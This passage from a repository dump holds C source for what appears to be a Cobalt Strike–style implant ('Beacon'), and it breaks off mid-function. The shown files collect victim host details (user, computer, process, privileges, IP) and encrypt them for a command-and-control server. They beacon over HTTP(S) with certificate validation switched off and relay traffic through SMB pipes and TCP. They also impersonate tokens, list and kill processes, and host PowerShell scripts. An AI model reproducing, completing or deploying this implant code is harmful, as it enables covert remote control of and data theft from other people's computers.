    "content": "#include \"pch.h\"\n\n#include \"metadata.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n#include \"crypto.h\"\n#include \"network.h\"\n#include \"spawn.h\"\n#include \"utils.h\"\n\nint osMajorVersion;\nint gBid;\nSESSION gSession;\n\n#define METADATA_FLAG_NOTHING 1\n#define METADATA_FLAG_X64_AGENT 2\n#define METADATA_FLAG_X64_SYSTEM 4\n#define METADATA_FLAG_ADMIN 8\n\n#define METADATA_ID 0xBEEF\n\nBOOL SelfIsWindowsVistaOrLater()\n{\n\treturn osMajorVersion >= (_WIN32_WINNT_VISTA >> 8);\n}\n\nvoid MetadataGenerate(char* buffer, int size)\n{\n#define MAX_INFO 256\n#define MAX_COMPUTER_NAME 256\n#define MAX_USER_NAME 256\n#define MAX_FILE_NAME 256\n\n\tdatap* parser = BeaconDataAlloc(sizeof(OSVERSIONINFOA) + MAX_INFO + MAX_COMPUTER_NAME + MAX_USER_NAME + MAX_FILE_NAME);\n\n\tformatp format;\n\tBeaconFormatAlloc(&format, size);\n\tBeaconFormatInt(&format, METADATA_ID); // Magic number for metadata\n\tBeaconFormatInt(&format, 0); // Placeholder for packet size\n\tu_long* pPacketSize = (u_long*)format.buffer;\n\n\tchar out[16];\n\trng_get_bytes(out, sizeof(out), NULL);\n\tCryptoSetupSha256AES(out);\n\tBeaconFormatAppend(&format, out, sizeof(out)); // AES random\n\n\tshort acp = GetACP();\n\tBeaconFormatAppend(&format, &acp, 2); // ANSI code page\n\n\tshort oemcp = GetOEMCP();\n\tBeaconFormatAppend(&format, &oemcp, 2); // OEM code page\n\n\tint tickCount = GetTickCount();\n\tint currentPid = GetCurrentProcessId();\n\n\tsrand(tickCount ^ currentPid);\n\n\tgSession.bid = gBid = RandomEvenInt();\n\n\tBeaconFormatInt(&format, gBid); // Beacon ID\n\tBeaconFormatInt(&format, currentPid); // PID\n\tBeaconFormatShort(&format, 0); // Port\n\n\tchar flags = 0;\n\n\tif (IS_X64() || IsWow64ProcessEx(GetCurrentProcess()))\n\t{\n\t\tflags = METADATA_FLAG_X64_AGENT | METADATA_FLAG_X64_SYSTEM;\n\t}\n\n\tif (BeaconIsAdmin()) {\n\t\tflags |= METADATA_FLAG_ADMIN;\n\t}\n\n\tBeaconFormatChar(&format, flags); // Flags\n\n\tOSVERSIONINFOA* osVersionInfo = BeaconDataPtr(parser, sizeof(OSVERSIONINFOA));\n\tosVersionInfo->dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);\n\tGetVersionExA(osVersionInfo);\n\tosMajorVersion = osVersionInfo->dwMajorVersion;\n\n\tBeaconFormatChar(&format, osVersionInfo->dwMajorVersion); // OS major version\n\tBeaconFormatChar(&format, osVersionInfo->dwMinorVersion); // OS minor version\n\tBeaconFormatShort(&format, osVersionInfo->dwBuildNumber); // OS build number\n\n\n\tBeaconFormatInt(&format, IS_X64() ? (long long)GetProcAddress >> 32 : 0); // GetProcAddress high part for x64 addressing\n\tBeaconFormatInt(&format, GetModuleHandleA); // GetModuleHandleA address\n\tBeaconFormatInt(&format, GetProcAddress); // GetProcAddress address\n\n\tULONG activeAdapterIPv4 = NetworkGetActiveAdapterIPv4();\n\tBeaconFormatInt(&format, activeAdapterIPv4); // IPv4 address\n\n\tchar* info = BeaconDataPtr(parser, MAX_INFO);\n\tchar* computerName = BeaconDataPtr(parser, MAX_COMPUTER_NAME);\n\tchar* userName = BeaconDataPtr(parser, MAX_USER_NAME);\n\tchar* fileName = BeaconDataPtr(parser, MAX_FILE_NAME);\n\n\tint pcbBuffer = MAX_USER_NAME;\n\tGetUserNameA(userName, &pcbBuffer);\n\n\tpcbBuffer = MAX_COMPUTER_NAME;\n\tGetComputerNameA(computerName, &pcbBuffer);\n\n\n\tconst char* executable = \"<unknown name>\";\n\tif (GetModuleFileNameA(NULL, fileName, MAX_FILE_NAME))\n\t{\n\t\tchar* position = strrchr(fileName, '\\\\');\n\t\tif (position != NULL && position != (char*)-1)\n\t\t{\n\t\t\texecutable = position + 1;\n\t\t}\n\t}\n\n\tsnprintf(info, sizeof(info), \"%s\\t%s\\t%s\", computerName, userName, executable);\n\tBeaconFormatAppend(&format, info, min(strlen(info), 58)); // Information: Computer name, user name, executable name\n\n\t*pPacketSize = ntohl(format.length - (2 * sizeof(int)));\n\n\tmemcpy(gSession.data, format.original, format.length);\n\tgSession.length = 128;\n\n\tEncryptSessionData(S_PUBKEY, format.original, format.length, gSession.data, &gSession.length);\n\n\tmemset(format.original, 0, format.length);\n}"
  },
  {
    "path": "Beacon/metadata.h",
    "content": "#pragma once\n\ntypedef struct SESSION\n{\n\tint bid;\n\tint length;\n\tchar data[1024];\n} SESSION;\n\nextern int osMajorVersion;\nextern SESSION gSession;"
  },
  {
    "path": "Beacon/network.c",
    "content": "#include \"pch.h\"\n\n#include \"network.h\"\n\n#include \"identity.h\"\n#include \"metadata.h\"\n#include \"settings.h\"\n#include \"transform.h\"\n\nBOOL gNetworkIsInit = FALSE;\nHINTERNET gInternetConnect;\nDWORD gNetworkOptions;\nDWORD gContext;\nHINTERNET gInternetOpen;\nint gPostBufferLength = 0;\nchar* gPostBuffer = NULL;\n\n#define PROTOCOL_HTTP 0\n#define PROTOCOL_DNS 1\n#define PROTOCOL_SMB 2\n#define PROTOCOL_TCP_REVERSE 4\n#define PROTOCOL_HTTPS 8\n#define PROTOCOL_TCP_BIND 16\n\n#define PROXY_MANUAL 0\n#define PROXY_DIRECT 1\n#define PROXY_PRECONFIG 2\n#define PROXY_MANUAL_CREDS 4\n\nvoid NetworkInit(void)\n{\n\tif (gNetworkIsInit)\n\t\treturn;\n\n\tWSADATA wsaData;\n\tif (WSAStartup(MAKEWORD(2, 2), &wsaData))\n\t{\n\t\tWSACleanup();\n\t\texit(1);\n\t}\n\n\t// FIXME: DNS Settings here...\n\n\tgNetworkIsInit = TRUE;\n}\n\nULONG NetworkGetActiveAdapterIPv4()\n{\n\tSOCKET sock = WSASocketA(AF_INET, SOCK_DGRAM, 0, NULL, 0, 0);\n\tif (sock == INVALID_SOCKET)\n\t{\n\t\treturn 0;\n\t}\n\n\tDWORD bytesReturned;\n\tint numInterfaces = 0;\n\tINTERFACE_INFO interfaceInfo[20];\n\tif (!WSAIoctl(sock, SIO_GET_INTERFACE_LIST, NULL, 0, interfaceInfo, sizeof(interfaceInfo), &bytesReturned, NULL, NULL))\n\t{\n\t\tnumInterfaces = bytesReturned / sizeof(INTERFACE_INFO);\n\t}\n\n\tfor (int i = 0; i < numInterfaces; i++)\n\t{\n\t\tif (!(interfaceInfo[i].iiFlags & IFF_LOOPBACK) && interfaceInfo[i].iiFlags & IFF_UP)\n\t\t{\n\t\t\tclosesocket(sock);\n\t\t\treturn interfaceInfo[i].iiAddress.AddressIn.sin_addr.s_addr;\n\t\t}\n\t}\n\n\tclosesocket(sock);\n\treturn 0;\n}\n\nvoid NetworkStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength)\n{\n\tif (dwInternetStatus == INTERNET_STATUS_CONNECTED_TO_SERVER)\n\t\tHttpAddRequestHeadersA(hInternet, S_HEADERS_REMOVE, INFINITE, HTTP_ADDREQ_FLAG_REPLACE);\n}\n\nvoid NetworkUpdateSettings(HINTERNET hInternet)\n{\n\tif(S_PROTOCOL & PROTOCOL_HTTPS)\n\t{\n\t\tint buffer;\n\t\tint length = sizeof(buffer);\n\t\tInternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, &length);\n\t\tbuffer |= (SECURITY_FLAG_IGNORE_REVOCATION |\n\t\t\tSECURITY_FLAG_IGNORE_UNKNOWN_CA |\n\t\t\tSECURITY_FLAG_IGNORE_WRONG_USAGE |\n\t\t\tSECURITY_FLAG_IGNORE_CERT_CN_INVALID |\n\t\t\tSECURITY_FLAG_IGNORE_CERT_DATE_INVALID);\n\t\tInternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer));\n\t}\n\n\tif (S_HEADERS_REMOVE)\n\t{\n\t\tInternetSetStatusCallback(hInternet, NetworkStatusCallback);\n\t}\n}\n\nBOOL NetworkCheckResponse(HINTERNET hInternet)\n{\n\tchar status[256];\n\tDWORD statusCodeLength = sizeof(status);\n\tif (!HttpQueryInfoA(hInternet, HTTP_QUERY_STATUS_CODE, status, &statusCodeLength, NULL))\n\t\treturn FALSE;\n\n\treturn atoi(status) == HTTP_STATUS_OK;\n}\n\nint NetworkGet(const char* getUri, SESSION* session, char* data, const int maxGet)\n{\n\tIdentityRevertToken();\n\n\tconst char* uri = getUri;\n#define MAX_URI 0x400\n#define MAX_READ 0x1000\n\tTRANSFORM transform;\n\tmemset(&transform, 0, sizeof(transform));\n\n\tCHAR finalUri[MAX_URI];\n\tmemset(finalUri, 0, sizeof(finalUri));\n\n\tTransformInit(&transform, maxGet);\n\tsnprintf(transform.uri, MAX_URI, \"%s\", uri);\n\n\tTransformEncode(&transform, S_C2_REQUEST, session->data, session->length, NULL, 0);\n\n\tif(strlen(transform.uriParams))\n\t\tsnprintf(finalUri, sizeof(finalUri), \"%s%s\", transform.uri, transform.uriParams);\n\telse\n\t\tsnprintf(finalUri, sizeof(finalUri), \"%s\", transform.uri);\n\n\tHINTERNET hInternet = HttpOpenRequestA(\n\t\tgInternetConnect, \n\t\t\"GET\", \n\t\tfinalUri, \n\t\tNULL, \n\t\tNULL, \n\t\tNULL, \n\t\tgNetworkOptions, \n\t\t&gContext);\n\n\tNetworkUpdateSettings(hInternet);\n\n\tHttpSendRequestA(hInternet, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);\n\tTransformDestroy(&transform);\n\n\tint result = -1;\n\tDWORD bytesAvailable = 0;\n\tif(NetworkCheckResponse(hInternet) && InternetQueryDataAvailable(hInternet, &bytesAvailable, 0, 0) && bytesAvailable < maxGet)\n\t{\n\t\tif (bytesAvailable == 0)\n\t\t\tresult = 0;\n\t\telse if (maxGet != 0)\n\t\t{\n\t\t\tint totalBytesRead = 0;\n\t\t\tint bytesRead = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (!InternetReadFile(hInternet, data + totalBytesRead, MAX_READ, &bytesAvailable) || bytesRead == 0)\n\t\t\t\t{\n\t\t\t\t\tInternetCloseHandle(hInternet);\n\t\t\t\t\tresult = TransformDecode(S_C2_RECOVER, data, totalBytesRead, maxGet);\n\t\t\t\t\tIdentityImpersonateToken();\n\t\t\t\t\treturn result;\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile (totalBytesRead < maxGet);\n\t\t}\n\t}\n\tInternetCloseHandle(hInternet);\n\tIdentityImpersonateToken();\n\treturn result;\n}\n\nvoid NetworkPost(const char* uri)\n{\n#define MAX_ATTEMPTS 4\n#define ATTEMPT_SLEEP 500\n#define MAX_BID 128\n\tconst char* acceptTypes[] = { \"*/*\", NULL };\n\n\tchar finalUri[MAX_URI];\n\tmemset(finalUri, 0, sizeof(finalUri));\n\n\tchar bid[MAX_BID];\n\tmemset(bid, 0, sizeof(bid));\n\n\tTRANSFORM transform;\n\tmemset(&transform, 0, sizeof(transform));\n\n\tif(!gPostBufferLength)\n\t\treturn;\n\n\tTransformInit(&transform, gPostBufferLength);\n\tsnprintf(transform.uri, MAX_URI, \"%s\", uri);\n\tsnprintf(bid, sizeof(bid), \"%d\", gSession.bid);\n\tTransformEncode(&transform, S_C2_POSTREQ, bid, strlen(bid), gPostBuffer, gPostBufferLength);\n\n\tif(strlen(transform.uriParams))\n\t\tsnprintf(finalUri, sizeof(finalUri), \"%s%s\", transform.uri, transform.uriParams);\n\telse\n\t\tsnprintf(finalUri, sizeof(finalUri), \"%s\", transform.uri);\n\n\tIdentityRevertToken();\n\n\tfor(int attempts = 0; attempts < MAX_ATTEMPTS; attempts++)\n\t{\n\t\tHINTERNET hRequest = HttpOpenRequestA(\n\t\t\tgInternetConnect,\n\t\t\tS_C2_VERB_POST,\n\t\t\tfinalUri,\n\t\t\tNULL,\n\t\t\tNULL,\n\t\t\tacceptTypes,\n\t\t\tgNetworkOptions,\n\t\t\t&gContext);\n\t\tNetworkUpdateSettings(hRequest);\n\t\tHttpSendRequestA(hRequest, transform.headers, strlen(transform.headers), transform.body, transform.bodyLength);\n\t\tif(NetworkCheckResponse(hRequest))\n\t\t{\n\t\t\tInternetCloseHandle(hRequest);\n\t\t\tbreak;\n\t\t}\n\n\t\tInternetCloseHandle(hRequest);\n\t\tSleep(ATTEMPT_SLEEP);\n\t}\n\n\tTransformDestroy(&transform);\n\tgPostBufferLength = 0;\n\tIdentityImpersonateToken();\n}\n\nvoid NetworkConfigureHttp(LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszAgent)\n{\n\tIdentityRevertToken();\n\n\tgNetworkOptions = INTERNET_FLAG_RELOAD | // retrieve the original item, not the cache\n\t\tINTERNET_FLAG_NO_CACHE_WRITE | // don't add this to the IE cache\n\t\tINTERNET_FLAG_KEEP_CONNECTION | // use keep-alive semantics\n\t\tINTERNET_FLAG_NO_UI; // no cookie popup\n\n\tif(S_PROTOCOL & PROTOCOL_HTTPS)\n\t{\n\t\tgNetworkOptions |= INTERNET_FLAG_SECURE | // use PCT/SSL if applicable (HTTP)\n\t\t\tINTERNET_FLAG_IGNORE_CERT_DATE_INVALID | // ignore date invalid cert errors\n\t\t\tINTERNET_FLAG_IGNORE_CERT_CN_INVALID; // ignore common name invalid cert errors\n\t}\n\n\tDWORD accessType;\n\tLPCSTR proxy;\n\n\tBOOL shouldCreateInternetOpen = TRUE;\n\tif(S_PROXY_BEHAVIOR == PROXY_MANUAL || S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)\n\t{\n\t\taccessType = INTERNET_OPEN_TYPE_PROXY;\n\t\tproxy = S_PROXY_CONFIG;\n\t}\n\telse if(S_PROXY_BEHAVIOR == PROXY_DIRECT)\n\t{\n\t\taccessType = INTERNET_OPEN_TYPE_DIRECT;\n\t\tproxy = NULL;\n\t}\n\telse if(S_PROXY_BEHAVIOR == PROXY_PRECONFIG)\n\t{\n\t\taccessType = INTERNET_OPEN_TYPE_PRECONFIG;\n\t\tproxy = NULL;\n\t} else\n\t{\n\t\tLERROR(\"Invalid proxy behavior: %d\", S_PROXY_BEHAVIOR);\n\t\tshouldCreateInternetOpen = FALSE;\n\t}\n\n\tif(shouldCreateInternetOpen)\n\t{\n\t\tgInternetOpen = InternetOpenA(\n\t\t\tlpszAgent,\n\t\t\taccessType,\n\t\t\tproxy,\n\t\t\tNULL,\n\t\t\t0);\n\t}\n\n\tint timeout = 240000;\n\tInternetSetOptionA(gInternetOpen, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout));\n\tInternetSetOptionA(gInternetOpen, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout));\n\n\tgInternetConnect = InternetConnectA(\n\t\tgInternetOpen,\n\t\tlpszServerName,\n\t\tnServerPort,\n\t\tNULL,\n\t\tNULL,\n\t\tINTERNET_SERVICE_HTTP,\n\t\t0,\n\t\t0);\n\n\tif (S_PROXY_BEHAVIOR == PROXY_MANUAL_CREDS)\n\t{\n\t\tInternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_USERNAME, S_PROXY_USER, STRLEN(S_PROXY_USER));\n\t\tInternetSetOptionA(gInternetConnect, INTERNET_OPTION_PROXY_PASSWORD, S_PROXY_PASSWORD, STRLEN(S_PROXY_PASSWORD));\n\t}\n\t\n\tIdentityImpersonateToken();\n}\n\nvoid NetworkClose(void)\n{\n\tIdentityRevertToken();\n\n\tInternetCloseHandle(gInternetConnect);\n\tInternetCloseHandle(gInternetOpen);\n\n\tIdentityImpersonateToken();\n}"
  },
  {
    "path": "Beacon/network.h",
    "content": "#pragma once\n\n// Localhost for little endian\n#define LOCALHOST 0x0100007f\n\nvoid NetworkInit(void);\n\nULONG NetworkGetActiveAdapterIPv4();"
  },
  {
    "path": "Beacon/pch.c",
    "content": "#include \"pch.h\""
  },
  {
    "path": "Beacon/pch.h",
    "content": "#pragma once\n\n/*\n * Include convention for this project:\n * 1. Precompiled header\n * 2. The \".h\" file for the current source file\n * 3. C standard library headers\n * 4. Third-party library headers\n * 5. Windows headers\n */\n\n#define _CRT_SECURE_NO_WARNINGS\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <stdbool.h>\n\n#define LTM_DESC\n#define LTC_NO_HASHES\n//Only SHA256 is needed\n#define LTC_SHA256\n#define LTC_HASH_HELPERS\n#define LTC_NO_MACS\n#define LTC_HMAC\n#include \"tomcrypt.h\"\n\n#include <winsock2.h>\n#include <windows.h>\n#include <wininet.h>\n#include <winternl.h>\n#include <ws2ipdef.h>\n#include <tchar.h>\n#include <tlhelp32.h>\n#include <DbgHelp.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n\n#include \"logger.h\"\n#include \"macros.h\"\n#include \"error.h\"\n\n// This forces the programmer to not use 'auto' keyword ever, otherwise the compiler will throw an error.\n#define auto error"
  },
  {
    "path": "Beacon/pipe.c",
    "content": "#include \"pch.h\"\n\n#include \"pipe.h\"\n\n#include \"identity.h\"\n\nBOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flags)\n{\n\twhile(TRUE)\n\t{\n\t\t*pipe = CreateFileA(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, flags, NULL);\n\t\tif (*pipe != INVALID_HANDLE_VALUE)\n\t\t{\n\t\t\tDWORD mode = PIPE_READMODE_BYTE;\n\t\t\tif (!SetNamedPipeHandleState(*pipe, &mode, NULL, NULL))\n\t\t\t{\n\t\t\t\tDisconnectNamedPipe(*pipe);\n\t\t\t\tCloseHandle(*pipe);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\t// If the file is not found, wait for it to be created\n\t\tif (GetLastError() != ERROR_PIPE_BUSY)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (!WaitNamedPipeA(lpFileName, 10000))\n\t\t{\n\t\t\tSetLastError(WAIT_TIMEOUT);\n\t\t\treturn FALSE;\n\t\t}\n\t}\n}\n\nint PipeConnectWithTokenNoFlags(LPCSTR filename, HANDLE* pipe)\n{\n\tif (PipeConnect(filename, pipe, 0))\n\t\treturn TRUE;\n\n\tBOOL result = FALSE;\n\tDWORD lastError = GetLastError();\n\tif(lastError == ERROR_ACCESS_DENIED)\n\t{\n\t\tLWARNING(\"Could not do PipeConnect. Retrying with Revert/Impersonate\");\n\t\tIdentityRevertToken();\n\t\tresult = PipeConnect(filename, pipe, 0);\n\t\tIdentityImpersonateToken();\n\t}\n\n\treturn result;\n}\n\nint PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags)\n{\n\tif (flags)\n\t\treturn PipeConnect(filename, pipe, flags);\n\n\treturn PipeConnectWithTokenNoFlags(filename, pipe);\n}\n\nBOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime)\n{\n\tDWORD timeout = GetTickCount() + waitTime;\n\tDWORD available;\n\n\twhile (GetTickCount() < timeout)\n\t{\n\t\tif (!PeekNamedPipe(hNamedPipe, NULL, 0, NULL, &available, NULL))\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (available)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tSleep(iterWaitTime);\n\t}\n\n\treturn FALSE;\n}\n"
  },
  {
    "path": "Beacon/pipe.h",
    "content": "#pragma once\n\nint PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags);\n\nBOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime);"
  },
  {
    "path": "Beacon/powershell.c",
    "content": "#include \"pch.h\"\n\n#include \"powershell.h\"\n\n#include \"beacon.h\"\n#include \"web_response.h\"\n\nchar* gImportedPshScript;\n\nchar* PowershellImport(char* buffer, int size)\n{\n\tif (gImportedPshScript)\n\t\tfree(gImportedPshScript);\n\n\tgImportedPshScript = (char*)malloc(size + 1);\n\tmemcpy(gImportedPshScript, buffer, size);\n\tgImportedPshScript[size] = 0;\n\treturn gImportedPshScript;\n}\n\nvoid PowershellHostTcp(char* buffer, int size)\n{\n\tif(!gImportedPshScript)\n\t\treturn;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, size);\n\tshort port = BeaconDataShort(&parser);\n\tWebServerInit(port, gImportedPshScript, strlen(gImportedPshScript));\n}"
  },
  {
    "path": "Beacon/powershell.h",
    "content": "#pragma once\n\nchar* PowershellImport(char* buffer, int size);\n\nvoid PowershellHostTcp(char* buffer, int size);"
  },
  {
    "path": "Beacon/process.c",
    "content": "#include \"pch.h\"\n\n#include \"process.h\"\n\n#include \"beacon.h\"\n\n#include \"spawn.h\"\n\nBOOL GetAccountNameFromToken(HANDLE hProcess, char* accountName, int length) {\n\tHANDLE hToken;\n\tBOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);\n\tif (!result) {\n\t\treturn FALSE;\n\t}\n\n\tresult = IdentityGetUserInfo(hToken, accountName, length);\n\tCloseHandle(hToken);\n\treturn result;\n}\n\nvoid ProcessList(char* buffer, int length) {\n\tchar accountName[2048] = { 0 };\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint isPending = BeaconDataInt(&parser);\n\n\tformatp locals;\n\tBeaconFormatAlloc(&locals, 0x8000);\n\n\tif (isPending > 0) {\n\t\tBeaconFormatInt(&locals, isPending);\n\t}\n\n\tchar* arch;\n\tif (IS_X64() || IsWow64ProcessEx(GetCurrentProcess())) {\n\t\tarch = \"x64\";\n\t} else {\n\t\tarch = \"x86\";\n\t}\n\n\tHANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n\tif (toolhelp == INVALID_HANDLE_VALUE) {\n\t\tgoto cleanup;\n\t}\n\n\tPROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };\n\tif (Process32First(toolhelp, &pe)) {\n\t\tdo {\n\t\t\tHANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);\n\t\t\tDWORD sid;\n\t\t\tif (hProcess) {\n\t\t\t\tif (!GetAccountNameFromToken(hProcess, accountName, sizeof(accountName))) {\n\t\t\t\t\taccountName[0] = '\\0';\n\t\t\t\t}\n\n\t\t\t\tif (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {\n\t\t\t\t\tsid = -1;\n\t\t\t\t}\n\n\t\t\t\tBOOL isWow64 = IsWow64ProcessEx(hProcess);\n\n\t\t\t\tBeaconFormatPrintf(&locals,\n\t\t\t\t\t\"%s\\t%d\\t%d\\t%s\\t%s\\t%d\\n\",\n\t\t\t\t\tpe.szExeFile,\n\t\t\t\t\tpe.th32ParentProcessID,\n\t\t\t\t\tpe.th32ProcessID,\n\t\t\t\t\tisWow64 ? \"x86\" : arch,\n\t\t\t\t\taccountName,\n\t\t\t\t\tsid);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tBeaconFormatPrintf(&locals,\n\t\t\t\t\t\"%s\\t%d\\t%d\\n\",\n\t\t\t\t\tpe.szExeFile,\n\t\t\t\t\tpe.th32ParentProcessID,\n\t\t\t\t\tpe.th32ProcessID);\n\t\t\t}\n\t\t\tCloseHandle(hProcess);\n\t\t} while (Process32Next(toolhelp, &pe));\n\n\t\tCloseHandle(toolhelp);\n\n\t\tint cbLength = BeaconDataLength(&locals);\n\t\tchar* cbBuffer = BeaconDataOriginal(&locals);\n\n\t\tBeaconOutput(isPending ? CALLBACK_PENDING : CALLBACK_PROCESS_LIST, cbBuffer, cbLength);\n\t} else {\n\t\tCloseHandle(toolhelp);\n\t}\n\t\ncleanup:\n\tBeaconFormatFree(&locals);\n}\n\nBOOL ProcessKill(char* buffer, int length) {\n\tdatap parser = { 0 };\n\tBeaconDataParse(&parser, buffer, length);\n\tint pid = BeaconDataInt(&parser);\n\tHANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);\n\tif (!hProcess || !TerminateProcess(hProcess, 0)) {\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Could not kill %d: %s\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_KILL_FAILED, pid, lastError);\n\t}\n\treturn CloseHandle(hProcess);\n}"
  },
  {
    "path": "Beacon/process.h",
    "content": "#pragma once\n\nvoid ProcessList(char* buffer, int length);\n\nBOOL ProcessKill(char* buffer, int length);"
  },
  {
    "path": "Beacon/protocol.c",
    "content": "#include \"pch.h\"\n\n#include \"protocol.h\"\n\n#include \"link.h\"\n#include \"beacon.h\"\n#include \"pipe.h\"\n#include \"settings.h\"\n\nint ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length)\n{\n\tint read, totalRead;\n\tfor(totalRead = 0; totalRead < length; totalRead += read)\n\t{\n\t\tif (!ReadFile(channel, buffer + totalRead, length - totalRead, &read, NULL))\n\t\t\treturn -1;\n\n\t\tif (read == 0)\n\t\t\treturn -1;\n\t}\n\n\tif (totalRead != length)\n\t\treturn -1;\n\n\treturn totalRead;\n}\n\nint ProtocolTcpSocketRead(SOCKET channel, char* buffer, int length)\n{\n\tint read, totalRead;\n\tfor (totalRead = 0; totalRead < length; totalRead += read)\n\t{\n\t\tread = recv(channel, buffer + totalRead, length - totalRead, 0);\n\t\tif (read == SOCKET_ERROR)\n\t\t\treturn -1;\n\n\t\tif (read == 0)\n\t\t\tbreak;\n\t}\n\n\tif (totalRead != length)\n\t\treturn -1;\n\n\treturn totalRead;\n}\n\nBOOL ProtocolSmbPipeWrite(HANDLE hFile, char* buffer, int length)\n{\n    DWORD wrote;\n\n    // Check if size is greater than 0\n    for (DWORD totalWrote = 0; totalWrote < length; totalWrote += wrote) {\n        // Calculate the number of bytes to be written in the current iteration\n        const DWORD toWrite = min(length - totalWrote, 0x2000);\n\n\n        // Check if the write operation was successful\n        if (!WriteFile(hFile, buffer + totalWrote, toWrite, &wrote, NULL)) {\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL ProtocolTcpSocketWrite(SOCKET channel, char* buffer, int length)\n{\n\tif(length == 0)\n\t\treturn TRUE;\n\n\treturn send(channel, buffer, length, 0) != SOCKET_ERROR;\n}\n\nchar* ProtocolHeaderGet(char* setting, int headerSize, int* pHeaderLength)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, setting, headerSize);\n\tSHORT headerLength = BeaconDataShort(&parser);\n\t*pHeaderLength = headerLength;\n\tchar* header = BeaconDataPtr(&parser, headerLength);\n\t*(int*)(header + *pHeaderLength - sizeof(int)) = headerSize;\n\treturn header;\n}\n\nint ProtocolSmbRead(PROTOCOL* protocol, char* buffer, int length)\n{\n\tint headerSize;\n\tchar* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, 0, &headerSize);\n\tint totalHeaderRead = ProtocolSmbPipeRead(protocol->channel.handle, header, headerSize);\n\tif (totalHeaderRead == -1 || totalHeaderRead != headerSize)\n\t\treturn -1;\n\n\tint dataSize = *(int*)(header + headerSize - sizeof(int));\n\tif ( dataSize < 0 || dataSize > length)\n\t\treturn -1;\n\n\treturn ProtocolSmbPipeRead(protocol->channel.handle, buffer, dataSize);\n}\n\nint ProtocolTcpRead(PROTOCOL* protocol, char* buffer, int length)\n{\n\tint headerSize;\n\tchar* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, 0, &headerSize);\n\tint totalHeaderRead = ProtocolTcpSocketRead(protocol->channel.socket, header, headerSize);\n\tif (totalHeaderRead == -1 || totalHeaderRead != headerSize)\n\t\treturn -1;\n\n\tint dataSize = *(int*)(header + headerSize - sizeof(int));\n\tif (dataSize < 0 || dataSize > length)\n\t\treturn -1;\n\n\treturn ProtocolTcpSocketRead(protocol->channel.socket, buffer, dataSize);\n}\n\nBOOL ProtocolTcpWrite(PROTOCOL* protocol, char* buffer, int length)\n{\n\tint headerSize;\n\tchar* header = ProtocolHeaderGet(S_TCP_FRAME_HEADER, length, &headerSize);\n\tif (!ProtocolTcpSocketWrite(protocol->channel.socket, header, headerSize))\n\t\treturn FALSE;\n\n\treturn ProtocolTcpSocketWrite(protocol->channel.socket, buffer, length);\n}\n\nBOOL ProtocolSmbWrite(PROTOCOL* protocol, char* buffer, int length)\n{\n\tint headerSize;\n\tchar* header = ProtocolHeaderGet(S_SMB_FRAME_HEADER, length, &headerSize);\n\tif (!ProtocolSmbPipeWrite(protocol->channel.handle, header, headerSize))\n\t\treturn FALSE;\n\n\treturn ProtocolSmbPipeWrite(protocol->channel.handle, buffer, length);\n}\n\nvoid ProtocolTcpClose(PROTOCOL* protocol)\n{\n\tshutdown(protocol->channel.socket, SD_BOTH);\n\tclosesocket(protocol->channel.socket);\n}\n\nvoid ProtocolSmbClose(PROTOCOL* protocol)\n{\n\tDisconnectNamedPipe(protocol->channel.handle);\n\tCloseHandle(protocol->channel.handle);\n}\n\nvoid ProtocolSmbFlush(PROTOCOL* protocol)\n{\n\tFlushFileBuffers(protocol->channel.handle);\n}\n\nBOOL ProtocolSmbWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)\n{\n\treturn PipeWaitForData(protocol->channel.handle, waitTime, iterWaitTime);\n}\n\nBOOL ProtocolTcpWaitForData(PROTOCOL* protocol, DWORD waitTime, int iterWaitTime)\n{\n\tint timeout = GetTickCount() + waitTime;\n\tint argp = 1;\n\t\n\tif (ioctlsocket(protocol->channel.socket, FIONREAD, &argp) == SOCKET_ERROR)\n\t\treturn 